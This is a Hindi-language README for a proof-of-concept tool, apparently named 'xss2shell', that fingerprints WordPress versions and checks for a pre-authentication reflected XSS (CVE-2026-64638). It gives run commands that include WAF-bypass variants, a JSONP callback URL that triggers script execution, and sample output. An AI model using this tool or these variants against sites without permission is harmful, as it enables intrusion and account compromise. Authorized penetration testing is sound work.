
वर्डप्रेस में प्री-ऑथेंटिकेशन रिफ्लेक्टेड XSS को सत्यापित करता है, असुरक्षित संस्करणों की पहचान करता है, पेलोड रिफ्लेक्शन और JSONP की जाँच करता है, और HTML/curl PoC आर्टिफैक्ट उत्पन्न करता है।
CVE-2026-64638 को सत्यापित करने के लिए एक प्रूफ़ ऑफ़ कॉन्सेप्ट (PoC) टूल, जो WordPress इंस्टॉलेशन (संस्करण 6.4 – 7.0.2) को प्रभावित करने वाली एक प्री-ऑथेंटिकेशन रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता है।
यह टूल CVE-2026-64638 के लिए फिंगरप्रिंटिंग, सत्यापन और PoC जनरेट करने की प्रक्रिया को स्वचालित करता है। यह बिना किसी दुर्भावनापूर्ण पेलोड को तैनात किए सुरक्षित रूप से पुष्टि करता है कि लक्ष्य WordPress इंस्टॉलेशन प्री-ऑथेंटिकेशन रिफ्लेक्टेड XSS के प्रति भेद्य है या नहीं। यदि लक्ष्य भेद्य पाया जाता है, तो यह अधिकृत सुरक्षा परीक्षण और बग बाउंटी रिपोर्ट में शामिल करने के लिए एक HTML PoC जनरेट कर सकता है।
standard, envelope, waf) का समर्थन करता है।readme.html, या एनक्यूड स्क्रिप्ट पैरामीटर के माध्यम से WordPress संस्करण की पहचान करता है।wp-login.php पहुँच योग्य और कार्यात्मक है।wp-login.php पर एक तैयार किया गया यूज़रनेम पेलोड भेजता है और जाँचता है कि प्रतिक्रिया में आवश्यक DOM तत्व (जैसे, ajaxurl, color-picker) सैनिटाइज़ेशन से बचे रहते हैं या नहीं।requests>=2.31.0, urllib3रिपॉज़िटरी को क्लोन करें और आवश्यक निर्भरताएँ इंस्टॉल करें:
git clone https://github.com/eh-amish/xss2shell-poc.git
cd xss2shell-poc
pip install -r requirements.txt
इस टूल को किसी भी एनवायरनमेंट वेरिएबल या जटिल कॉन्फ़िगरेशन फ़ाइल की आवश्यकता नहीं है। सभी पैरामीटर सीधे कमांड-लाइन आर्ग्युमेंट्स के माध्यम से पास किए जाते हैं।
किसी अधिकृत लक्ष्य के विरुद्ध Python 3 के साथ टूल चलाएँ।
python3 xss2shell_poc.py -t https://target.com --check-only
python3 xss2shell_poc.py -t https://target.com
यदि मानक पेलोड किसी WAF द्वारा अवरुद्ध कर दिया जाता है या REST एंडपॉइंट HTTP 401 लौटाता है, तो वैकल्पिक प्रकारों को आज़माएँ:
python3 xss2shell_poc.py -t https://target.com --variant waf
python3 xss2shell_poc.py -t https://target.com --variant envelope
python3 xss2shell_poc.py -t https://target.com -o custom_poc.html
.
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── SECURITY.md
├── requirements.txt
└── xss2shell_poc.py
Target : https://target.com
Variant : standard
Mode : Full PoC
[>] Phase 1 — WordPress Version Fingerprint
[+] WordPress 7.0.2 — VULNERABLE (6.4 – 7.0.2)
[>] Phase 2 — Confirm Login Page
[+] wp-login.php reachable (HTTP 200)
[>] Phase 3 — Testing XSS Payload (variant: standard)
[+] XSS PAYLOAD SURVIVED SANITIZATION!
[+] Injected DOM elements found in response: ['id="ajaxurl"', 'id="color-picker"']
[>] Phase 4 — REST API JSONP Callback Check
[+] REST JSONP callback works: https://target.com/?rest_route=/&_method=GET&_jsonp=testcb
[+] jQuery will evaluate response as script → XSS fires automatically
इस रिपॉज़िटरी में सुरक्षा-संबंधित परीक्षण उपकरण शामिल हैं। कृपया हमारी ज़िम्मेदार प्रकटीकरण नीति और अधिकृत उपयोग आवश्यकताओं के लिए SECURITY.md देखें।
हम पेशेवर योगदान का स्वागत करते हैं! हमारे वर्कफ़्लो, कोड गुणवत्ता मानकों और सबमिशन दिशानिर्देशों के विवरण के लिए कृपया CONTRIBUTING.md देखें।
यह प्रोजेक्ट MIT License के अंतर्गत लाइसेंस प्राप्त है।
केवल अधिकृत उपयोग के लिए। यह प्रोजेक्ट सख्ती से अधिकृत पेनेट्रेशन परीक्षण, सुरक्षा अनुसंधान और बग बाउंटी कार्यक्रमों के लिए प्रदान किया गया है, जहाँ सिस्टम के स्वामी द्वारा स्पष्ट, लिखित अनुमति दी गई हो। इस उपकरण का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की अनुमति आपके पास नहीं है। इस सॉफ़्टवेयर के उपयोग से होने वाले किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए लेखक और योगदानकर्ता उत्तरदायी नहीं हैं।